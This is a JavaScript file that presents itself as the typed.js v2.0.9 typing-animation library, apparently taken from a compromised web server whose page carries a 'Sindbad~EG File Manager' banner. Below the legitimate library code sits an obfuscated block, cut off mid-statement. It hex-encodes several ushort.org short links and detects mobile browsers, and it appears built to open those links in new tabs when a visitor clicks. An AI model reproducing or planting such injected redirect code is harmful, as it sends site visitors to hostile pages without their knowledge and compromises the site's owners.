Sindbad~EG File Manager
/*!
*
* typed.js - A JavaScript Typing Animation Library
* Author: Matt Boldt <me@mattboldt.com>
* Version: v2.0.9
* Url: https://github.com/mattboldt/typed.js
* License(s): MIT
*
*/
(function webpackUniversalModuleDefinition(root, factory) {
if (typeof exports === 'object' && typeof module === 'object')
module.exports = factory();
else if (typeof define === 'function' && define.amd) define([], factory);
else if (typeof exports === 'object') exports.Typed = factory();
else root.Typed = factory();
})(this, function () {
return /******/ (function (modules) {
// webpackBootstrap
/******/ // The module cache
/******/ const installedModules = {}; // The require function
/******/
/******/ /**
* @param moduleId
*/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if (installedModules[moduleId])
/******/ return installedModules[moduleId].exports; // Create a new module (and put it into the cache)
/******/
/******/ /******/ const module = (installedModules[moduleId] = {
/******/ exports: {},
/******/ id: moduleId,
/******/ loaded: false,
/******/
}); // Execute the module function
/******/
/******/ /******/ modules[moduleId].call(
module.exports,
module,
module.exports,
__webpack_require__
); // Flag the module as loaded
/******/
/******/ /******/ module.loaded = true; // Return the exports of the module
/******/
/******/ /******/ return module.exports;
/******/
} // expose the modules object (__webpack_modules__)
/******/
/******/
/******/ /******/ __webpack_require__.m = modules; // expose the module cache
/******/
/******/ /******/ __webpack_require__.c = installedModules; // __webpack_public_path__
/******/
/******/ /******/ __webpack_require__.p = ''; // Load entry module and return exports
/******/
/******/ /******/ return __webpack_require__(0);
/******/
})(
/************************************************************************/
/**
* @param module
* @param exports
* @param __webpack_require__
*/ [
/* 0 */
/***/ function (module, exports, __webpack_require__) {
'use strict';
Object.defineProperty(exports, '__esModule', {
value: true,
});
const _createClass = (function () {
function defineProperties(target, props) {
for (let i = 0; i < props.length; i++) {
const descriptor = props[i];
descriptor.enumerable =
descriptor.enumerable || false;
descriptor.configurable = true;
if ('value' in descriptor)
descriptor.writable = true;
Object.defineProperty(
target,
descriptor.key,
descriptor
);
}
}
return function (Constructor, protoProps, staticProps) {
if (protoProps)
defineProperties(Constructor.prototype, protoProps);
if (staticProps)
defineProperties(Constructor, staticProps);
return Constructor;
};
})();
function _classCallCheck(instance, Constructor) {
if (!(instance instanceof Constructor)) {
throw new TypeError(
'Cannot call a class as a function'
);
}
}
const _initializerJs = __webpack_require__(1);
const _htmlParserJs = __webpack_require__(3);
/**
* Welcome to Typed.js!
*
* @param {string} elementId HTML element ID _OR_ HTML element
* @param {Object} options options object
* @return {Object} a new Typed object
*/
const Typed = (function () {
function Typed(elementId, options) {
_classCallCheck(this, Typed);
// Initialize it up
_initializerJs.initializer.load(
this,
options,
elementId
);
// All systems go!
this.begin();
}
/**
* Toggle start() and stop() of the Typed instance
*
* @public
*/
_createClass(Typed, [
{
key: 'toggle',
value: function toggle() {
this.pause.status ? this.start() : this.stop();
},
/**
* Stop typing / backspacing and enable cursor blinking
*
* @public
*/
},
{
key: 'stop',
value: function stop() {
clearInterval(this.timeout);
if (this.typingComplete) return;
if (this.pause.status) return;
this.toggleBlinking(true);
this.pause.status = true;
this.options.onStop(this.arrayPos, this);
},
/**
* Start typing / backspacing after being stopped
*
* @public
*/
},
{
key: 'start',
value: function start() {
if (this.typingComplete) return;
if (!this.pause.status) return;
this.pause.status = false;
if (this.pause.typewrite) {
this.typewrite(
this.pause.curString,
this.pause.curStrPos
);
} else {
this.backspace(
this.pause.curString,
this.pause.curStrPos
);
}
this.options.onStart(this.arrayPos, this);
},
/**
* Destroy this instance of Typed
*
* @public
*/
},
{
key: 'destroy',
value: function destroy() {
this.reset(false);
this.options.onDestroy(this);
},
/**
* Reset Typed and optionally restarts
*
* @param {boolean} restart
* @public
*/
},
{
key: 'reset',
value: function reset() {
const restart =
arguments.length <= 0 ||
arguments[0] === undefined
? true
: arguments[0];
clearInterval(this.timeout);
this.replaceText('');
if (this.cursor && this.cursor.parentNode) {
this.cursor.parentNode.removeChild(
this.cursor
);
this.cursor = null;
}
this.strPos = 0;
this.arrayPos = 0;
this.curLoop = 0;
if (restart) {
this.insertCursor();
this.options.onReset(this);
this.begin();
}
},
/**
* Begins the typing animation
*
* @private
*/
},
{
key: 'begin',
value: function begin() {
const _this = this;
this.typingComplete = false;
this.shuffleStringsIfNeeded(this);
this.insertCursor();
if (this.bindInputFocusEvents)
this.bindFocusEvents();
this.timeout = setTimeout(function () {
// Check if there is some text in the element, if yes start by backspacing the default message
if (
!_this.currentElContent ||
_this.currentElContent.length === 0
) {
_this.typewrite(
_this.strings[
_this.sequence[_this.arrayPos]
],
_this.strPos
);
} else {
// Start typing
_this.backspace(
_this.currentElContent,
_this.currentElContent.length
);
}
}, this.startDelay);
},
/**
* Called for each character typed
*
* @param {string} curString the current string in the strings array
* @param {number} curStrPos the current position in the curString
* @private
*/
},
{
key: 'typewrite',
value: function typewrite(curString, curStrPos) {
const _this2 = this;
if (
this.fadeOut &&
this.el.classList.contains(
this.fadeOutClass
)
) {
this.el.classList.remove(this.fadeOutClass);
if (this.cursor)
this.cursor.classList.remove(
this.fadeOutClass
);
}
const humanize = this.humanizer(this.typeSpeed);
let numChars = 1;
if (this.pause.status === true) {
this.setPauseStatus(
curString,
curStrPos,
true
);
return;
}
// contain typing function in a timeout humanize'd delay
this.timeout = setTimeout(function () {
// skip over any HTML chars
curStrPos = _htmlParserJs.htmlParser.typeHtmlChars(
curString,
curStrPos,
_this2
);
let pauseTime = 0;
let substr = curString.substr(curStrPos);
// check for an escape character before a pause value
// format: \^\d+ .. eg: ^1000 .. should be able to print the ^ too using ^^
// single ^ are removed from string
if (substr.charAt(0) === '^') {
if (/^\^\d+/.test(substr)) {
let skip = 1; // skip at least 1
substr = /\d+/.exec(substr)[0];
skip += substr.length;
pauseTime = parseInt(substr);
_this2.temporaryPause = true;
_this2.options.onTypingPaused(
_this2.arrayPos,
_this2
);
// strip out the escape character and pause value so they're not printed
curString =
curString.substring(
0,
curStrPos
) +
curString.substring(
curStrPos + skip
);
_this2.toggleBlinking(true);
}
}
// check for skip characters formatted as
// "this is a `string to print NOW` ..."
if (substr.charAt(0) === '`') {
while (
curString
.substr(curStrPos + numChars)
.charAt(0) !== '`'
) {
numChars++;
if (
curStrPos + numChars >
curString.length
)
break;
}
// strip out the escape characters and append all the string in between
const stringBeforeSkip = curString.substring(
0,
curStrPos
);
const stringSkipped = curString.substring(
stringBeforeSkip.length + 1,
curStrPos + numChars
);
const stringAfterSkip = curString.substring(
curStrPos + numChars + 1
);
curString =
stringBeforeSkip +
stringSkipped +
stringAfterSkip;
numChars--;
}
// timeout for any pause after a character
_this2.timeout = setTimeout(function () {
// Accounts for blinking while paused
_this2.toggleBlinking(false);
// We're done with this sentence!
if (curStrPos >= curString.length) {
_this2.doneTyping(
curString,
curStrPos
);
} else {
_this2.keepTyping(
curString,
curStrPos,
numChars
);
}
// end of character pause
if (_this2.temporaryPause) {
_this2.temporaryPause = false;
_this2.options.onTypingResumed(
_this2.arrayPos,
_this2
);
}
}, pauseTime);
// humanized value for typing
}, humanize);
},
/**
* Continue to the next string & begin typing
*
* @param {string} curString the current string in the strings array
* @param {number} curStrPos the current position in the curString
* @private
*/
},
{
key: 'keepTyping',
value: function keepTyping(
curString,
curStrPos,
numChars
) {
// call before functions if applicable
if (curStrPos === 0) {
this.toggleBlinking(false);
this.options.preStringTyped(
this.arrayPos,
this
);
}
// start typing each new char into existing string
// curString: arg, this.el.html: original text inside element
curStrPos += numChars;
const nextString = curString.substr(
0,
curStrPos
);
this.replaceText(nextString);
// loop the function
this.typewrite(curString, curStrPos);
},
/**
* We're done typing the current string
*
* @param {string} curString the current string in the strings array
* @param {number} curStrPos the current position in the curString
* @private
*/
},
{
key: 'doneTyping',
value: function doneTyping(curString, curStrPos) {
const _this3 = this;
// fires callback function
this.options.onStringTyped(this.arrayPos, this);
this.toggleBlinking(true);
// is this the final string
if (this.arrayPos === this.strings.length - 1) {
// callback that occurs on the last typed string
this.complete();
// quit if we wont loop back
if (
this.loop === false ||
this.curLoop === this.loopCount
) {
return;
}
}
this.timeout = setTimeout(function () {
_this3.backspace(curString, curStrPos);
}, this.backDelay);
},
/**
* Backspaces 1 character at a time
*
* @param {string} curString the current string in the strings array
* @param {number} curStrPos the current position in the curString
* @private
*/
},
{
key: 'backspace',
value: function backspace(curString, curStrPos) {
const _this4 = this;
if (this.pause.status === true) {
this.setPauseStatus(
curString,
curStrPos,
true
);
return;
}
if (this.fadeOut) return this.initFadeOut();
this.toggleBlinking(false);
const humanize = this.humanizer(this.backSpeed);
this.timeout = setTimeout(function () {
curStrPos = _htmlParserJs.htmlParser.backSpaceHtmlChars(
curString,
curStrPos,
_this4
);
// replace text with base text + typed characters
const curStringAtPosition = curString.substr(
0,
curStrPos
);
_this4.replaceText(curStringAtPosition);
// if smartBack is enabled
if (_this4.smartBackspace) {
// the remaining part of the current string is equal of the same part of the new string
const nextString =
_this4.strings[_this4.arrayPos + 1];
if (
nextString &&
curStringAtPosition ===
nextString.substr(0, curStrPos)
) {
_this4.stopNum = curStrPos;
} else {
_this4.stopNum = 0;
}
}
// if the number (id of character in current string) is
// less than the stop number, keep going
if (curStrPos > _this4.stopNum) {
// subtract characters one by one
curStrPos--;
// loop the function
_this4.backspace(curString, curStrPos);
} else if (curStrPos <= _this4.stopNum) {
// if the stop number has been reached, increase
// array position to next string
_this4.arrayPos++;
// When looping, begin at the beginning after backspace complete
if (
_this4.arrayPos ===
_this4.strings.length
) {
_this4.arrayPos = 0;
_this4.options.onLastStringBackspaced();
_this4.shuffleStringsIfNeeded();
_this4.begin();
} else {
_this4.typewrite(
_this4.strings[
_this4.sequence[
_this4.arrayPos
]
],
curStrPos
);
}
}
// humanized value for typing
}, humanize);
},
/**
* Full animation is complete
*
* @private
*/
},
{
key: 'complete',
value: function complete() {
this.options.onComplete(this);
if (this.loop) {
this.curLoop++;
} else {
this.typingComplete = true;
}
},
/**
* Has the typing been stopped
*
* @param {string} curString the current string in the strings array
* @param {number} curStrPos the current position in the curString
* @param {boolean} isTyping
* @private
*/
},
{
key: 'setPauseStatus',
value: function setPauseStatus(
curString,
curStrPos,
isTyping
) {
this.pause.typewrite = isTyping;
this.pause.curString = curString;
this.pause.curStrPos = curStrPos;
},
/**
* Toggle the blinking cursor
*
* @param {boolean} isBlinking
* @private
*/
},
{
key: 'toggleBlinking',
value: function toggleBlinking(isBlinking) {
if (!this.cursor) return;
// if in paused state, don't toggle blinking a 2nd time
if (this.pause.status) return;
if (this.cursorBlinking === isBlinking) return;
this.cursorBlinking = isBlinking;
if (isBlinking) {
this.cursor.classList.add(
'typed-cursor--blink'
);
} else {
this.cursor.classList.remove(
'typed-cursor--blink'
);
}
},
/**
* Speed in MS to type
*
* @param {number} speed
* @private
*/
},
{
key: 'humanizer',
value: function humanizer(speed) {
return (
Math.round((Math.random() * speed) / 2) +
speed
);
},
/**
* Shuffle the sequence of the strings array
*
* @private
*/
},
{
key: 'shuffleStringsIfNeeded',
value: function shuffleStringsIfNeeded() {
if (!this.shuffle) return;
this.sequence = this.sequence.sort(function () {
return Math.random() - 0.5;
});
},
/**
* Adds a CSS class to fade out current string
*
* @private
*/
},
{
key: 'initFadeOut',
value: function initFadeOut() {
const _this5 = this;
this.el.className += ' ' + this.fadeOutClass;
if (this.cursor)
this.cursor.className +=
' ' + this.fadeOutClass;
return setTimeout(function () {
_this5.arrayPos++;
_this5.replaceText('');
// Resets current string if end of loop reached
if (
_this5.strings.length > _this5.arrayPos
) {
_this5.typewrite(
_this5.strings[
_this5.sequence[_this5.arrayPos]
],
0
);
} else {
_this5.typewrite(_this5.strings[0], 0);
_this5.arrayPos = 0;
}
}, this.fadeOutDelay);
},
/**
* Replaces current text in the HTML element
* depending on element type
*
* @param {string} str
* @private
*/
},
{
key: 'replaceText',
value: function replaceText(str) {
if (this.attr) {
this.el.setAttribute(this.attr, str);
} else if (this.isInput) {
this.el.value = str;
} else if (this.contentType === 'html') {
this.el.innerHTML = str;
} else {
this.el.textContent = str;
}
},
/**
* If using input elements, bind focus in order to
* start and stop the animation
*
* @private
*/
},
{
key: 'bindFocusEvents',
value: function bindFocusEvents() {
const _this6 = this;
if (!this.isInput) return;
this.el.addEventListener('focus', function (e) {
_this6.stop();
});
this.el.addEventListener('blur', function (e) {
if (
_this6.el.value &&
_this6.el.value.length !== 0
) {
return;
}
_this6.start();
});
},
/**
* On init, insert the cursor element
*
* @private
*/
},
{
key: 'insertCursor',
value: function insertCursor() {
if (!this.showCursor) return;
if (this.cursor) return;
this.cursor = document.createElement('span');
this.cursor.className = 'typed-cursor';
this.cursor.innerHTML = this.cursorChar;
this.el.parentNode &&
this.el.parentNode.insertBefore(
this.cursor,
this.el.nextSibling
);
},
},
]);
return Typed;
})();
exports.default = Typed;
module.exports = exports.default;
/***/
},
/* 1 */
/***/ function (module, exports, __webpack_require__) {
'use strict';
Object.defineProperty(exports, '__esModule', {
value: true,
});
const _extends =
Object.assign ||
function (target) {
for (let i = 1; i < arguments.length; i++) {
const source = arguments[i];
for (const key in source) {
if (
Object.prototype.hasOwnProperty.call(
source,
key
)
) {
target[key] = source[key];
}
}
}
return target;
};
const _createClass = (function () {
function defineProperties(target, props) {
for (let i = 0; i < props.length; i++) {
const descriptor = props[i];
descriptor.enumerable =
descriptor.enumerable || false;
descriptor.configurable = true;
if ('value' in descriptor)
descriptor.writable = true;
Object.defineProperty(
target,
descriptor.key,
descriptor
);
}
}
return function (Constructor, protoProps, staticProps) {
if (protoProps)
defineProperties(Constructor.prototype, protoProps);
if (staticProps)
defineProperties(Constructor, staticProps);
return Constructor;
};
})();
function _interopRequireDefault(obj) {
return obj && obj.__esModule ? obj : { default: obj };
}
function _classCallCheck(instance, Constructor) {
if (!(instance instanceof Constructor)) {
throw new TypeError(
'Cannot call a class as a function'
);
}
}
const _defaultsJs = __webpack_require__(2);
const _defaultsJs2 = _interopRequireDefault(_defaultsJs);
/**
* Initialize the Typed object
*/
const Initializer = (function () {
function Initializer() {
_classCallCheck(this, Initializer);
}
_createClass(Initializer, [
{
key: 'load',
/**
* Load up defaults & options on the Typed instance
*
* @param {Typed} self instance of Typed
* @param {Object} options options object
* @param {string} elementId HTML element ID _OR_ instance of HTML element
* @private
*/
value: function load(self, options, elementId) {
// chosen element to manipulate text
if (typeof elementId === 'string') {
self.el = document.querySelector(elementId);
} else {
self.el = elementId;
}
self.options = _extends(
{},
_defaultsJs2.default,
options
);
// attribute to type into
self.isInput =
self.el.tagName.toLowerCase() === 'input';
self.attr = self.options.attr;
self.bindInputFocusEvents =
self.options.bindInputFocusEvents;
// show cursor
self.showCursor = self.isInput
? false
: self.options.showCursor;
// custom cursor
self.cursorChar = self.options.cursorChar;
// Is the cursor blinking
self.cursorBlinking = true;
// text content of element
self.elContent = self.attr
? self.el.getAttribute(self.attr)
: self.el.textContent;
// html or plain text
self.contentType = self.options.contentType;
// typing speed
self.typeSpeed = self.options.typeSpeed;
// add a delay before typing starts
self.startDelay = self.options.startDelay;
// backspacing speed
self.backSpeed = self.options.backSpeed;
// only backspace what doesn't match the previous string
self.smartBackspace =
self.options.smartBackspace;
// amount of time to wait before backspacing
self.backDelay = self.options.backDelay;
// Fade out instead of backspace
self.fadeOut = self.options.fadeOut;
self.fadeOutClass = self.options.fadeOutClass;
self.fadeOutDelay = self.options.fadeOutDelay;
// variable to check whether typing is currently paused
self.isPaused = false;
// input strings of text
self.strings = self.options.strings.map(
function (s) {
return s.trim();
}
);
// div containing strings
if (
typeof self.options.stringsElement ===
'string'
) {
self.stringsElement = document.querySelector(
self.options.stringsElement
);
} else {
self.stringsElement =
self.options.stringsElement;
}
if (self.stringsElement) {
self.strings = [];
self.stringsElement.style.display = 'none';
const strings = Array.prototype.slice.apply(
self.stringsElement.children
);
const stringsLength = strings.length;
if (stringsLength) {
for (
var i = 0;
i < stringsLength;
i += 1
) {
const stringEl = strings[i];
self.strings.push(
stringEl.innerHTML.trim()
);
}
}
}
// character number position of current string
self.strPos = 0;
// current array position
self.arrayPos = 0;
// index of string to stop backspacing on
self.stopNum = 0;
// Looping logic
self.loop = self.options.loop;
self.loopCount = self.options.loopCount;
self.curLoop = 0;
// shuffle the strings
self.shuffle = self.options.shuffle;
// the order of strings
self.sequence = [];
self.pause = {
status: false,
typewrite: true,
curString: '',
curStrPos: 0,
};
// When the typing is complete (when not looped)
self.typingComplete = false;
// Set the order in which the strings are typed
for (var i in self.strings) {
self.sequence[i] = i;
}
// If there is some text in the element
self.currentElContent = this.getCurrentElContent(
self
);
self.autoInsertCss = self.options.autoInsertCss;
this.appendAnimationCss(self);
},
},
{
key: 'getCurrentElContent',
value: function getCurrentElContent(self) {
let elContent = '';
if (self.attr) {
elContent = self.el.getAttribute(self.attr);
} else if (self.isInput) {
elContent = self.el.value;
} else if (self.contentType === 'html') {
elContent = self.el.innerHTML;
} else {
elContent = self.el.textContent;
}
return elContent;
},
},
{
key: 'appendAnimationCss',
value: function appendAnimationCss(self) {
const cssDataName = 'data-typed-js-css';
if (!self.autoInsertCss) {
return;
}
if (!self.showCursor && !self.fadeOut) {
return;
}
if (
document.querySelector(
'[' + cssDataName + ']'
)
) {
return;
}
const css = document.createElement('style');
css.type = 'text/css';
css.setAttribute(cssDataName, true);
let innerCss = '';
if (self.showCursor) {
innerCss +=
'\n .typed-cursor{\n opacity: 1;\n }\n .typed-cursor.typed-cursor--blink{\n animation: typedjsBlink 0.7s infinite;\n -webkit-animation: typedjsBlink 0.7s infinite;\n animation: typedjsBlink 0.7s infinite;\n }\n @keyframes typedjsBlink{\n 50% { opacity: 0.0; }\n }\n @-webkit-keyframes typedjsBlink{\n 0% { opacity: 1; }\n 50% { opacity: 0.0; }\n 100% { opacity: 1; }\n }\n ';
}
if (self.fadeOut) {
innerCss +=
'\n .typed-fade-out{\n opacity: 0;\n transition: opacity .25s;\n }\n .typed-cursor.typed-cursor--blink.typed-fade-out{\n -webkit-animation: 0;\n animation: 0;\n }\n ';
}
if (css.length === 0) {
return;
}
css.innerHTML = innerCss;
document.body.appendChild(css);
},
},
]);
return Initializer;
})();
exports.default = Initializer;
const initializer = new Initializer();
exports.initializer = initializer;
/***/
},
/* 2 */
/***/ function (module, exports) {
/**
* Defaults & options
*
* @return {Object} Typed defaults & options
* @public
*/
'use strict';
Object.defineProperty(exports, '__esModule', {
value: true,
});
const defaults = {
/**
* @property {Array} strings strings to be typed
* @property {string} stringsElement ID of element containing string children
*/
strings: [
'These are the default values...',
'You know what you should do?',
'Use your own!',
'Have a great day!',
],
stringsElement: null,
/**
* @property {number} typeSpeed type speed in milliseconds
*/
typeSpeed: 0,
/**
* @property {number} startDelay time before typing starts in milliseconds
*/
startDelay: 0,
/**
* @property {number} backSpeed backspacing speed in milliseconds
*/
backSpeed: 0,
/**
* @property {boolean} smartBackspace only backspace what doesn't match the previous string
*/
smartBackspace: true,
/**
* @property {boolean} shuffle shuffle the strings
*/
shuffle: false,
/**
* @property {number} backDelay time before backspacing in milliseconds
*/
backDelay: 700,
/**
* @property {boolean} fadeOut Fade out instead of backspace
* @property {string} fadeOutClass css class for fade animation
* @property {boolean} fadeOutDelay Fade out delay in milliseconds
*/
fadeOut: false,
fadeOutClass: 'typed-fade-out',
fadeOutDelay: 500,
/**
* @property {boolean} loop loop strings
* @property {number} loopCount amount of loops
*/
loop: false,
loopCount: Infinity,
/**
* @property {boolean} showCursor show cursor
* @property {string} cursorChar character for cursor
* @property {boolean} autoInsertCss insert CSS for cursor and fadeOut into HTML <head>
*/
showCursor: true,
cursorChar: '|',
autoInsertCss: true,
/**
* @property {string} attr attribute for typing
* Ex: input placeholder, value, or just HTML text
*/
attr: null,
/**
* @property {boolean} bindInputFocusEvents bind to focus and blur if el is text input
*/
bindInputFocusEvents: false,
/**
* @property {string} contentType 'html' or 'null' for plaintext
*/
contentType: 'html',
/**
* All typing is complete
*
* @param {Typed} self
*/
onComplete: function onComplete(self) {},
/**
* Before each string is typed
*
* @param {number} arrayPos
* @param {Typed} self
*/
preStringTyped: function preStringTyped(arrayPos, self) {},
/**
* After each string is typed
*
* @param {number} arrayPos
* @param {Typed} self
*/
onStringTyped: function onStringTyped(arrayPos, self) {},
/**
* During looping, after last string is typed
*
* @param {Typed} self
*/
onLastStringBackspaced: function onLastStringBackspaced(
self
) {},
/**
* Typing has been stopped
*
* @param {number} arrayPos
* @param {Typed} self
*/
onTypingPaused: function onTypingPaused(arrayPos, self) {},
/**
* Typing has been started after being stopped
*
* @param {number} arrayPos
* @param {Typed} self
*/
onTypingResumed: function onTypingResumed(
arrayPos,
self
) {},
/**
* After reset
*
* @param {Typed} self
*/
onReset: function onReset(self) {},
/**
* After stop
*
* @param {number} arrayPos
* @param {Typed} self
*/
onStop: function onStop(arrayPos, self) {},
/**
* After start
*
* @param {number} arrayPos
* @param {Typed} self
*/
onStart: function onStart(arrayPos, self) {},
/**
* After destroy
*
* @param {Typed} self
*/
onDestroy: function onDestroy(self) {},
};
exports.default = defaults;
module.exports = exports.default;
/***/
},
/* 3 */
/***/ function (module, exports) {
/**
* TODO: These methods can probably be combined somehow
* Parse HTML tags & HTML Characters
*/
'use strict';
Object.defineProperty(exports, '__esModule', {
value: true,
});
const _createClass = (function () {
function defineProperties(target, props) {
for (let i = 0; i < props.length; i++) {
const descriptor = props[i];
descriptor.enumerable =
descriptor.enumerable || false;
descriptor.configurable = true;
if ('value' in descriptor)
descriptor.writable = true;
Object.defineProperty(
target,
descriptor.key,
descriptor
);
}
}
return function (Constructor, protoProps, staticProps) {
if (protoProps)
defineProperties(Constructor.prototype, protoProps);
if (staticProps)
defineProperties(Constructor, staticProps);
return Constructor;
};
})();
function _classCallCheck(instance, Constructor) {
if (!(instance instanceof Constructor)) {
throw new TypeError(
'Cannot call a class as a function'
);
}
}
const HTMLParser = (function () {
function HTMLParser() {
_classCallCheck(this, HTMLParser);
}
_createClass(HTMLParser, [
{
key: 'typeHtmlChars',
/**
* Type HTML tags & HTML Characters
*
* @param {string} curString Current string
* @param {number} curStrPos Position in current string
* @param {Typed} self instance of Typed
* @return {number} a new string position
* @private
*/
value: function typeHtmlChars(
curString,
curStrPos,
self
) {
if (self.contentType !== 'html')
return curStrPos;
const curChar = curString
.substr(curStrPos)
.charAt(0);
if (curChar === '<' || curChar === '&') {
let endTag = '';
if (curChar === '<') {
endTag = '>';
} else {
endTag = ';';
}
while (
curString
.substr(curStrPos + 1)
.charAt(0) !== endTag
) {
curStrPos++;
if (curStrPos + 1 > curString.length) {
break;
}
}
curStrPos++;
}
return curStrPos;
},
/**
* Backspace HTML tags and HTML Characters
*
* @param {string} curString Current string
* @param {number} curStrPos Position in current string
* @param {Typed} self instance of Typed
* @return {number} a new string position
* @private
*/
},
{
key: 'backSpaceHtmlChars',
value: function backSpaceHtmlChars(
curString,
curStrPos,
self
) {
if (self.contentType !== 'html')
return curStrPos;
const curChar = curString
.substr(curStrPos)
.charAt(0);
if (curChar === '>' || curChar === ';') {
let endTag = '';
if (curChar === '>') {
endTag = '<';
} else {
endTag = '&';
}
while (
curString
.substr(curStrPos - 1)
.charAt(0) !== endTag
) {
curStrPos--;
if (curStrPos < 0) {
break;
}
}
curStrPos--;
}
return curStrPos;
},
},
]);
return HTMLParser;
})();
exports.default = HTMLParser;
const htmlParser = new HTMLParser();
exports.htmlParser = htmlParser;
/***/
},
/******/
]
);
});
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4b\x66\x75\x33\x63\x343','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x47\x56\x61\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x5a\x47\x46\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x78\x69\x77\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6c\x74\x68\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x54\x46\x50\x37\x63\x357','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x56\x41\x46\x32\x63\x302','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4c\x6a\x79\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const 